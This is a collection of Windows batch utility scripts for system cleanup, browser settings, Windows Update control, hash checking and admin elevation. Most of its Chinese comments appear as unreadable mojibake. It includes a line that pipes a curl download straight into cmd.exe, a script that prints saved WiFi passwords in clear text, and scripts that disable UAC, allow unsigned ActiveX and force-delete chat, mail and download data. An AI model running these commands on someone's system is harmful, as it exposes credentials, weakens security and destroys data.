https://github.com/dunwu/linux-tutorial/blob/master/docs/linux/soft/jdk-install.md @REM ⹤ iconv :: curl http://example.com/script.bat | iconv -f utf-8 -t gbk | cmd.exe /c - ================================================ FILE: d-bat/keep_ie.bat ================================================ @REM "win10ʹþͺãwin11ϵͳСIE޸ߣлָIE11ͼ꣬ʹøù߷ٳ֡" @echo off reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Enable Browser Extensions" /t REG_SZ /d "NO" /f reg add "HKCU\Software\Microsoft\Edge\IEToEdge" /v "UpsellDisabled" /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Edge\IEToEdge" /v "RedirectionMode" /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Edge\IEToEdge" /v "QuietExpirationTime" /t REG_QWORD /d 0 /f :: The new "End of Life" upgrade notification for Internet Explorer :: https://support.microsoft.com/en-us/topic/the-new-end-of-life-upgrade-notification-for-internet-explorer-ca9a8d93-3f92-ee13-f608-a585f4fa08d4 ::Note If the value of the iexplore.exe registry entry is 0, or if the registry entry doesn't exist, the notification feature is enabled by default. REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISABLE_IE11_SECURITY_EOL_NOTIFICATION" /v "iexplore.exe" /t REG_DWORD /d 1 /f @REM ----------------------------------------------------------------------------- @REM "EdgeٳIEѴɣ" pause del %0 ================================================ FILE: d-bat/md5tools.bat ================================================ @%1 C:\Windows\SysWOW64\mshta.exe vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit & cd /d "%~dp0" @echo off setlocal :menu echo. echo *********************************************** echo MD5SHA1SHA256 ϣֵ㡢ȽϡУ鹤 echo. echo by https://github.com/hoochanlon echo. echo ѡ echo [1]. ļ MD5SHA1SHA256 ϣֵ echo [2]. Ƚļ MD5SHA1SHA256 ϣֵ echo [3]. Уļ MD5SHA1SHA256 ϣֵ echo [4]. ˢ£ز˵ echo. echo *********************************************** echo. goto :select :select set /p choice=ѡ֣ set "match=false" if "%choice%"=="1" ( set /p filePath=ļ· call :calcHash "%filePath%" goto select ) else if "%choice%"=="2" ( set /p filePath1=һļ· set /p filePath2=ڶļ· call :compareHash "%filePath1%" "%filePath2%" goto select ) else if "%choice%"=="3" ( set /p hashcode=ϣֵ set /p filePathS=ļ· call :jiaoyanHash "%hashcode%" "%filePathS%" goto select ) else if "%choice%"=="4" ( cls goto menu ) else ( echo Чѡ goto menu ) exit /b :calcHash rem ļ MD5SHA1SHA256 ϣֵ for /f "skip=1 tokens=* delims=" %%a in ('certutil -hashfile %filePath% MD5') do ( set "md5Hash=%%a" goto :calcMD5 ) :calcMD5 echo MD5 ϣֵ%md5Hash% for /f "skip=1 tokens=* delims=" %%a in ('certutil -hashfile %filePath% SHA1') do ( set "sha1Hash=%%a" goto :calcSHA1 ) :calcSHA1 echo SHA1 ϣֵ%sha1Hash% for /f "skip=1 tokens=* delims=" %%a in ('certutil -hashfile %filePath% SHA256') do ( set "sha256Hash=%%a" goto :calcSHA256 ) :calcSHA256 echo SHA256 ϣֵ%sha256Hash% echo. exit /b :compareHash echo. for /f "skip=1 tokens=* delims=" %%a in ('certutil -hashfile "%filePath1%" MD5') do ( set "md5Hash1=%%a" for /f "skip=1 tokens=* delims=" %%b in ('certutil -hashfile "%filePath2%" MD5') do ( set "md5Hash2=%%b" for /f "skip=1 tokens=* delims=" %%c in ('certutil -hashfile "%filePath1%" SHA1') do ( set "sha1Hash1=%%c" for /f "skip=1 tokens=* delims=" %%d in ('certutil -hashfile "%filePath2%" SHA1') do ( set "sha1Hash2=%%d" for /f "skip=1 tokens=* delims=" %%e in ('certutil -hashfile "%filePath1%" SHA256') do ( set "sha256Hash1=%%e" for /f "skip=1 tokens=* delims=" %%f in ('certutil -hashfile "%filePath2%" SHA256') do ( set "sha256Hash2=%%f" goto :compareAllHash ) ) ) ) ) ) ) ) :compareAllHash if "%md5Hash1%"=="%md5Hash2%" ( echo. echo ļMD5ϣֵͬ echo %md5Hash1% echo %md5Hash2% set "match=true" ) else ( echo. echo ļMD5ϣֵͬ echo %md5Hash1% echo %md5Hash2% ) if "%sha1Hash1%"=="%sha1Hash2%" ( echo. echo ļSHA1ϣֵͬ echo %sha1Hash1% echo %sha1Hash2% set "match=true" ) else ( echo. echo ļSHA1ϣֵͬ echo %sha1Hash1% echo %sha1Hash2% ) if "%sha256Hash1%"=="%sha256Hash2%" ( echo. echo ļSHA256ϣֵͬ echo %sha256Hash1% echo %sha256Hash2% set "match=true" echo. ) else ( echo. echo ļSHA256ϣֵͬ echo %sha256Hash1% echo %sha256Hash2% echo. ) :jiaoyanHash echo. for /f "skip=1 tokens=* delims=" %%g in ('certutil -hashfile "%filePathS%" MD5') do ( set "jy_md5Hash=%%g" for /f "skip=1 tokens=* delims=" %%h in ('certutil -hashfile "%filePathS%" SHA1') do ( set "jy_sha1Hash=%%h" for /f "skip=1 tokens=* delims=" %%i in ('certutil -hashfile "%filePathS%" SHA256') do ( set "jy_sha256Hash=%%i" goto :jiaoyanAllHash ) ) ) ) ) :jiaoyanAllHash if "%jy_md5Hash%"=="%hashcode%" ( echo ļMD5ϣֵͬ echo %jy_md5Hash% echo %hashcode% echo. set "match=true" ) if "%jy_sha1Hash%"=="%hashcode%" ( echo ļSHA1ϣֵͬ echo %jy_sha1Hash% echo %hashcode% echo. set "match=true" ) if "%jy_sha256Hash%"=="%hashcode%" ( echo ļSHA256ϣֵͬ echo %jy_sha256Hash% echo %hashcode% echo. set "match=true" ) if "%match%"=="false" ( echo MD5SHA1SHA256ϣֵȫƥ䡣 echo. ) ================================================ FILE: d-bat/mieba.bat ================================================ @echo off cls REM Start-Process -FilePath "1.bat" -Wait REM cmd /c 1.bat rem ANSIתԸıɫ set "red=" set "green=" set "yellow=" set "reset=" echo %green%CԽű˵%reset% echo/ echo %red%עýűʺС΢ҵûԼ湤ʦʹá%reset% echo/ echo %yellow%1. ΢šFoxmail˻ļ%reset% echo %yellow%2. вֳWindows.oldWindowsļ־ļ%reset% echo %yellow%3. ɾδгռõʱļͷļ%reset% echo/ echo %red%ע΢šFoxmailɾֻDZؼ¼м¼ɴӷƶһءʹʱ˳΢šfoxmail%reset% echo/ echo ִнű... pause > nul setlocal enabledelayedexpansion set "folder=%userprofile%\AppData\Local" set "tempFile=C:\path\to\tempfile.txt" echo ɾ΢Żļ... taskkill /F /IM "wechat*" /T 2> $null del /q /f /s "%userprofile%\Documents\WeChat Files\"* 2>nul echo ɾ "DingTalk" ļм... taskkill /F /IM "DingTalk*" /T 2> $null for /d %%a in ("%folder%\*DingTalk*") do ( echo ɾ %%a... rd /s /q "%%a" 2>nul ) del /q /f /s %AppData%\DingTalk\* 2>nul rem ------------------foxmail ɸԼҵеɾ--------------------- rem ɾЧOKж̷ĬĿ¼ǣD:\Program Files\Foxmail 7.2\Storage set "targetFolder=C:\Foxmail 7.2\Storage" if exist "%targetFolder%" ( echo %yellow%⵽ %targetFolder% Ŀ¼ڡ%reset% taskkill /F /IM "foxmail*" /T 2> $null rd /s /q "%targetFolder%\" echo %green%ļɾɹ%reset% mkdir "%targetFolder%" ) else ( echo %targetFolder% Ŀ¼ڡ ) set "targetFolder=C:\Program Files\Foxmail 7.2\Storage" if exist "%targetFolder%" ( echo %yellow%⵽ %targetFolder% Ŀ¼ڡ%reset% taskkill /F /IM "foxmail*" /T 2> $null rd /s /q "%targetFolder%\" echo %green%ļɾɹ%reset% mkdir "%targetFolder%" ) else ( echo %targetFolder% Ŀ¼ڡ ) rem ------------------foxmail ɸԼҵеɾ--------------------- echo Windows.old ... rd/s/q C:\windows.old 2>nul echo Windows ļ... if exist "%tempFile%" del /q "%tempFile%" copy nul "%tempFile%" del /q C:\Windows\SoftwareDistribution\Download\*.* 2>nul rd /s /q C:\Windows\SoftwareDistribution\Download\ 2>nul echo Windows ־ļ... taskkill /f /im TrustedInstaller.exe >nul 2>&1 del /q C:\Windows\Logs\CBS\*.* 2>nul rd /s /q C:\Windows\Logs\CBS\ 2>nul echo Internet ʱļ... del /q /f /s "%USERPROFILE%\AppData\Local\Temp\*.*" 2>nul del /q /f /s "%LOCALAPPDATA%\Temp\*.*" 2>nul echo ʱļ... del /q /f /s "%TEMP%\*.*" 2>nul echo ͷļ powercfg -h off set "downloadPath=%userprofile%\Downloads" echo %red%ǷҪɾĿ¼ļ(Y/N)%reset% set /p choice= if /i "%choice%"=="Y" ( echo ɾļ... for /d %%i in ("%downloadPath%\*") do ( rd /s /q "%%i" ) del /q "%downloadPath%\*.*" echo ļɾ ) else ( echo ļδɾ ) echo ջվ... %SystemRoot%\System32\cmd.exe /c "echo Y|PowerShell.exe -NoProfile -Command Clear-RecycleBin" echo ɡ echo. echo ... pause > nul ================================================ FILE: d-bat/nano_runas.bat ================================================ @REM ĸȱʧ ûе CRLF Եʡ @REM echo\ @REM οԴhttps://www.52pojie.cn/thread-1768615-1-1.html @echo off :Loop cls echo\ echo ѡ: echo [1] ĬһֱԹԱȨ echo [2] ȥԹԱȨ echo [3] ĬгԹԱȨ echo [4] رгĬ϶ԹԱȨ echo [5] ˳ echo\ choice /c 12345 if %errorlevel% equ 1 ( set /p soft_path=뽫·Ƶն: reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v %soft_path% /t REG_SZ /d "RUNASADMIN" /f echo OKԹԱȨгɡ timeout /t 5 GOTO LOOP ) else if %errorlevel% equ 2 ( set /p soft_path=뽫·Ƶն: reg delete "HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v %soft_path% /f timeout /t 5 GOTO LOOP )else if %errorlevel% equ 3 ( reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0x00000001 /f echo OKѿĬгԹԱȨС timeout /t 5 GOTO LOOP )else if %errorlevel% equ 4 ( reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0x00000000 /f echo OKѹرгĬ϶ԹԱȨޡ timeout /t 5 GOTO LOOP ) if %errorlevel% equ 5 (GOTO END) :END echo ˳ ================================================ FILE: d-bat/oh_my_wifi.bat ================================================ @REM ȨҼԹԱ %1 C:\Windows\SysWOW64\mshta.exe vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit @cd /d "%~dp0" @REM @ECHO/ @echo ûȡWiFi룬оѧϰʹ @ECHO/ @echo WiFiб£ @ECHO/ @netsh wlan show profiles | for /f "tokens=2 delims=:" %%i in ('findstr "ûļ"') do @echo %%i && netsh wlan show profiles name=%%i key=clear | findstr "ؼ" @ECHO/ @timeout /NOBREAK /T 180 ================================================ FILE: d-bat/only_install_chrome65.bat ================================================ @REM 注意将下载的代码编码另转GB2312格式,否则在Windows系统会出现乱码。 @echo off @%1 C:\Windows\SysWOW64\mshta.exe vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit @cd /d "%~dp0" @echo off setlocal EnableDelayedExpansion REM 获取批处理脚本所在文件夹的路径 set "script_dir=%~dp0" REM 拼接文件路径 set "my_chrome_file_path=%script_dir%ChromeSetup_v65.exe" REM 判断文件是否存在 if exist "%my_chrome_file_path%" ( echo ChromeSetup_v65.exe文件已存在 ) else ( echo ChromeSetup_v65.exe文件不存在 exit /b ) REM 设置要安装的 Chrome 版本 set "CHROME_VERSION=65.0.3325.52" REM 检查是否已安装 Chrome reg query "HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon" >nul 2>&1 if %errorlevel% neq 0 ( echo Chrome 未安装在此计算机上。 REM 安装目标版本的 Chrome echo 安装 Chrome 版本 %CHROME_VERSION%... start /wait "" "%my_chrome_file_path%" ) else ( REM 获取当前安装的 Chrome 版本号 for /f "tokens=3" %%i in ('reg query "HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon" /v version') do ( set "CURRENT_VERSION=%%i" ) REM 检查当前版本是否为目标版本 if not "!CURRENT_VERSION!" equ "%CHROME_VERSION%" ( REM 获取Chrome的安装目录 set "ChromePath=" for /f "tokens=2*" %%A in ('reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe" /ve 2^>nul') do ( set "ChromePath=%%B" ) IF NOT DEFINED ChromePath ( for /f "tokens=2*" %%A in ('reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe" /ve 2^>nul') do ( set "ChromePath=%%B" ) ) REM 判断是否成功获取到Chrome路径 IF DEFINED ChromePath ( REM 拼接完整路径 @REM set "SetupPath=!ChromePath!\!CURRENT_VERSION!\Installer\setup.exe" REM 提取完整路径中的文件夹部分 for %%F in ("!ChromePath!") do set "SetupPath=%%~dpF" REM 显示结果 echo 找到Chrome浏览器的安装路径 !SetupPath! ) else ( echo 无法找到Chrome浏览器的安装路径。 exit /b ) taskkill /f /im chrome.exe >nul 2>&1 REM 卸载当前版本的 Chrome echo 卸载当前 Chrome 版本 !CURRENT_VERSION!... @REM https://answers.microsoft.com/en-us/windows/forum/all/uninstall-silently-google-chrome-by-command-line/0b35fde7-3f8a-473d-9a41-ca1946616bbb @REM start /wait "" "C:\Program Files (x86)\Google\Chrome\Application\!CURRENT_VERSION!\Installer\setup.exe" -uninstall -system-level start /wait "" "!SetupPath!!CURRENT_VERSION!\Installer\setup.exe" --uninstall --force-uninstall IF EXIST "!SetupPath!!CURRENT_VERSION!\Installer\setup.exe" ( start /wait "" "!SetupPath!!CURRENT_VERSION!\Installer\setup.exe" --uninstall --system-level --force-uninstall ) echo 清除个人历史记录数据... rd /s /q "%userprofile%\AppData\Local\Google\Chrome\User Data" REM 安装目标版本的 Chrome echo 安装 Chrome 版本 %CHROME_VERSION%... start /wait "" "%my_chrome_file_path%" ) else ( echo 当前 Chrome 已经是目标版本 %CHROME_VERSION%。不需要更新。 ) ) echo 正在设置文件夹权限,禁用 Chrome 升级,请稍等... :: 检查 chrome update 文件夹是否存在,不存在则创建 IF NOT EXIST "%userprofile%\AppData\Local\Google\Update" ( mkdir "%userprofile%\AppData\Local\Google\Update" ) @REM 对文件授予Everyone组完全控制权限 @REM icacls "C:\Windows\System32\usosvc.dll" /grant "Everyone":F :: 以系统管理员权限访问:https://www.cnblogs.com/qingfeng1903/p/9437978.html :: psexec -i -d -s cmd.exe :: whoami :: 对单个文件夹设置权限 ::icacls "C:\1" /deny "Everyone":(OI)(CI)(RX) :: 对文件夹拒绝指定用户或组的访问权限 (OI)(CI) 表示要应用到对象和子对象的权限,(RX) 表示拒绝读取和执行权限。 icacls "%userprofile%\AppData\Local\Google\Update" /deny "Everyone":(OI)(CI)RX :: 检查操作是否成功 if %errorlevel% neq 0 ( echo 设置文件夹权限失败。 ) else ( echo 设置文件夹权限成功。 ) endlocal pause ================================================ FILE: d-bat/re_update.bat ================================================ :: ǰעͱ :: https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.WindowsUpdate::AutoUpdateCfg&Language=zh-cn @REM https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-update#update-enableautomaticupgrades @REM https://www.howtogeek.com/799392/what-is-waasmedic-agent-exe-how-to-fix-high-disk-usage/ @REM https://www.majorgeeks.com/content/page/what_is_the_update_orchestrator_service.html @REM https://answers.microsoft.com/en-us/windows/forum/all/windows-7-8-81-registry-edits-to-prevent-windows/4cbd4842-d11f-4579-a8de-18576aad2597 @REM https://greatis.com/stopupdates10/ @REM ͣ3000 @REM reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsUpdate\UX\Settings" /v FlightSettingsMaxPauseDays /f @REM ˼Ŀ @REM reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "TargetGroup" /f @REM ÷ʹЩϢȷڴ˼ӦòЩ¡Enabled Value 0 = Disabled, 1 = Enabled @REM reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "TargetGroupEnabled" /f :: -------ָ Intranet Microsoft ·λ-------- @REM ָһִ̨ڲ·Զ¿ͻ˽˷ҵϼĸ¡ @REM Value 0 = Disabled, 1 = Enabled @REM reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "UseWUServer" /f @REM ָ Intranet Microsoft ַ @REM reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "WUServer" /f @REM Intranet ͳƷ @REM reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "WUStatusServer" /f :: ------------------------------------------------- @REM ÷Ҫڼ Windows µĽ״ȷϵͳܹʱյµİȫ͹ܸ¡ֵΪ 4 (ֹи÷) @REM REG delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WaasMedic" /v "Start" /f :: ǰעͱ :: ׹رWindows @REM ʱֹͣ Windows Update net stop wuauserv @REM ------ Windows½ҽ± ------------- @REM "Start" ֵ 0ʧܣ1ϵͳʱԶ2ֶ 3ã 4 ʾ񲻻ᱻѾУᱻֹͣ @REM ÷Ҫڼ Windows µĽ״ȷϵͳܹʱյµİȫ͹ܸ¡ֵΪ 4 (ֹи÷) @REM ±񣬹ر REG delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /f REG delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsoSvc" /v "Start" /f @REM https://superuser.com/questions/1584410/windows-10-update-something-went-wrong-try-to-reopen-settings-later REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsoSvc" /v "Start" /t REG_DWORD /d 2 /f @REM ------ Windows½ҽ± ------------- @REM ---- win7 ʾͨɱ -------- @REM رաȡWindows10֪ͨ https://www.jb51.net/os/windows/418707.html REG delete "HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\OSUpgrade" /v "ReservationsAllowed" /f @REM https://serverfault.com/questions/695916/registry-key-gpo-to-disable-and-block-windows-10-upgrade REG delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Gwx" /v "DisableGwx" /f @REM Windows 7á PC֧֡ https://blog.csdn.net/allway2/article/details/103905502 REG delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\EOSNotify" /v "DiscontinueEOS" /f @REM ---- win7 ʾͨɱ --------- @REM ------ ϸ ------------- @REM ͣ enabled Value 0 = Disabled, 1 = Enabled reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "PauseDeferrals" /f @REM ǹԱո֪ͨ Enabled Value 0 = Disabled, 1 = Enabled reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "ElevateNonAdmins" /f @REM ָһִ̨ڲ·Զ¿ͻ˽˷ҵϼĸ¡ @REM Value 0 = Disabled, 1 = Enabled reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "UseWUServer" /f @REM ָ Intranet Microsoft ַ reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "WUServer" /f @REM Intranet ͳƷ reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "WUStatusServer" /f @REM ô˲ãֹûӵ Windows վ Value 1 = Enabled, 0 = Disabled reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWindowsUpdate" /f @REM Զ Value 1= Disabled, 0 = Enabled reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /f @REM Զװ Value 1 = Enabled0 = Disabled reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "AutoInstallMinorUpdates" /f @REM ԶƵ Value 0 = Disabled, 1 = Enabled reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "DetectionFrequencyEnabled" /f @REM ɾʹ Windows ¹ܵķȨ Value 1 = Enabled0 = Disabled reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WindowsUpdate" /v "DisableWindowsUpdateAccess" /f @REM رն Windows ¹ܵķ Value 1 = Enabled0 = Disabled reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "RescheduleWaitTimeEnabled" /f @REM ֹ Windows Anytime UpgradeWindows汾 Value 1 = Enabled0 = Disabled reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\WAU" /v "Disabled" /f @REM ֹ Microsoft Store °汾 Windows ṩ¡ Value 1 = Enabled, 0 = Disabled REG delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "DisableOSUpgrade" /f @REM ------ ϸ ------------- @REM Windows Update net start wuauserv pause ================================================ FILE: d-bat/reset_keep_ie.bat ================================================ @REM IEٳedge޸ĻĬEDGE @echo off reg delete "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Enable Browser Extensions" /f reg delete "HKCU\Software\Microsoft\Edge\IEToEdge" /v "UpsellDisabled" /f reg delete "HKCU\Software\Microsoft\Edge\IEToEdge" /v "RedirectionMode" /f reg delete "HKCU\Software\Microsoft\Edge\IEToEdge" /v "QuietExpirationTime" /f REG DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISABLE_IE11_SECURITY_EOL_NOTIFICATION" /v "iexplore.exe" /f pause del %0 ================================================ FILE: d-bat/right-menu.bat ================================================ @echo off echo ѡҪִеIJ echo 1. عWin10Ҽ˵ echo 2. ָWin11汾Ҽ˵ echo 3. ˳ choice /c 123 /n /m "밴ѡ" goto option_%errorlevel% rem ѡ :option_1 rem عwin10Ҽ˵ reg add "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}\InprocServer32" /f /ve tskill explorer echo Win10Ҽ˵ѻع顣 goto end :option_2 rem ָwin11汾Ҽ˵ reg delete "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}\InprocServer32" /va /f rem Դ/ˢ tskill explorer echo Win11汾Ҽ˵ѻָ goto end :option_3 echo ˳ exit :end pause @REM οӣ @REM * https://zhuanlan.zhihu.com/p/550043382 @REM * https://answers.microsoft.com/en-us/windows/forum/all/windows-11-restore-classic-context-menu/dd8fa553-7747-4071-be58-9a8b6902a7b6 @REM * https://answers.microsoft.com/en-us/windows/forum/all/restore-old-right-click-context-menu-in-windows-11/a62e797c-eaf3-411b-aeec-e460e6e5a82a @REM * https://learn.microsoft.com/zh-cn/windows-server/administration/windows-commands/reg-add ================================================ FILE: d-bat/saigonoie.bat ================================================ @REM ------------- ȨرUAC--------------------------- @REM [csdn-batԹԱȨеʵַ](https://blog.csdn.net/NeiHan2020/article/details/124982175) @REM batʱȵvbsűͨvbsűԹԱݵøbat runas ֣˳㶨λűǰִлĿ¼ @ECHO off :: ---------- пɴȨ ڱرļִУִܵУб --------------- @REM %1 C:\Windows\SysWOW64\mshta.exe vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit @REM cd /d "%~dp0" :: ---------- пɴȨ ڱرļִУִܵУб --------------- @REM رUACЧ reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f @REM ----------- ͼ ---------------------------- @REM վͼ @REM [cnblogs-ע޸IE8ȫķ](https://www.cnblogs.com/freeton/p/3675018.html) @REM ڹڵĻҪʹIEȫͳһóɼͼ reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\BrowserEmulation" /v "AllSitesCompatibilityMode" /t REG_DWORD /d 1 /f @REM -------- ҳٳ -------------------------- @REM µwin11ϵͳѾIEҳGUIƳˡ @REM ҳ reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t REG_SZ /d www.baidu.com /f @REM ֹҳ޸ģԭûôߵȨ޸һ @REM reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HomePage /d 1 /f >nul @REM ָڽ >nul κϢ @REM reg delete "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HomePage /f >nul @REM ֹ edge ٳ IE IEĬõչ @REM [[REG]` ѩ`ƥuΥ֥饦`Sɤ롹쥸ȥO뷽IE11](https://automationlabo.com/wat/?p=4213) reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Enable Browser Extensions" /t REG_SZ /d "NO" /f @REM ע޸ģرIEĬõչ(°win10/11ϵͳǵùصIEĬõĵչ...˫) @REM https://techcommunity.microsoft.com/t5/enterprise/ie-to-edge-87-redirection-issues/m-p/1941961 reg add "HKCU\Software\Microsoft\Edge\IEToEdge" /v "UpsellDisabled" /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Edge\IEToEdge" /v "RedirectionMode" /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Edge\IEToEdge" /v "QuietExpirationTime" /t REG_QWORD /d 0 /f @REM ------------- վ ----------------- @REM /vǡhttpζ޸Ϊhttpļֵԣ/t ָtype /d ָû޸ĵעֵ /f ǿ @REM Ranges\Range100 ֣Ҫ߳ļֵעᣬ˸о ZoneMap\Domains ù @REM ַָΪս㡣0x00000002Ϊ2ʮơ @REM վGUIɾIPվbugʹʾеһҲˣΪIEصҵ reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\192.168.0.1" /v http /t REG_DWORD /d 0x00000002 /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\192.168.0.2" /v http /t REG_DWORD /d 0x00000002 /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\192.168.0.3" /v https /t REG_DWORD /d 0x00000002 /f @REM վǿɾIPľֻעɾˡ reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\baidu.com\www" /v http /t REG_DWORD /d 0x00000002 /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\bing.com\www" /v https /t REG_DWORD /d 0x00000002 /f @REM ----------------- IEεվã--------------------------- @REM ֱӽսİȫ @REM reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "CurrentLevel" /t REG_DWORD /d 0x10000 /f @REM ֱӽIntranet ڲİȫ @REM 0 ؼ1 Intranet ڲ 2 εվ3 Internet 4 Ƶվ @REM reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "CurrentLevel" /t REG_DWORD /d 0x10000 /f @REM [51cto-ʹIEվ](https://blog.51cto.com/guozhengyuan/1393631) reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "Flags" /t REG_DWORD /d 0x00047 /f @REM IEòӦõû win11IEϳֲܼվbug @REM https://www.itprotoday.com/compute-engines/jsi-tip-5130-how-can-i-manage-internet-explorer-security-zones-registry @REM reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings" /v SECURITY_HKLM_ONLY /t REG_DWORD /d 1 /f @REM üģģ :: https://admx.help/?Category=InternetExplorer&Policy=Microsoft.Policies.InternetExplorer::IZ_Policy_TurnOnProtectedMode_9&Language=zh-cn :: https://admx.help/?Category=InternetExplorer&Policy=Microsoft.Policies.InternetExplorer::IZ_PolicyTrustedSitesZoneTemplate&Language=zh-cn @REM ActiveX ؼԶʾ0ã3á reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "2201" /t REG_DWORD /d 0 /f @REM 0ã1ã2ʾ Java Сű reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1402" /t REG_DWORD /d 0 /f @REM 0; ǩ ActiveX ؼ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1001" /t REG_DWORD /d 0 /f @REM 3ãδǩ ActiveX ؼ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1004" /t REG_DWORD /d 1 /f @REM ѡֻܸĵߣǹ̫ˣѡͳһȽҡ @REM ..... @REM ý׼δʾʹ ActiveX ؼ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "120B" /t REG_DWORD /d 0 /f @REM ʹõֹ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1809" /t REG_DWORD /d 3 /f @REM Internet Explorer WebBrowser ؼĽű reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1206" /t REG_DWORD /d 0 /f @REM META REFRESHض reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1608" /t REG_DWORD /d 0 /f @REM Scriptletҳ֤õ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1209" /t REG_DWORD /d 0 /f @REM ļͽűΪ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v 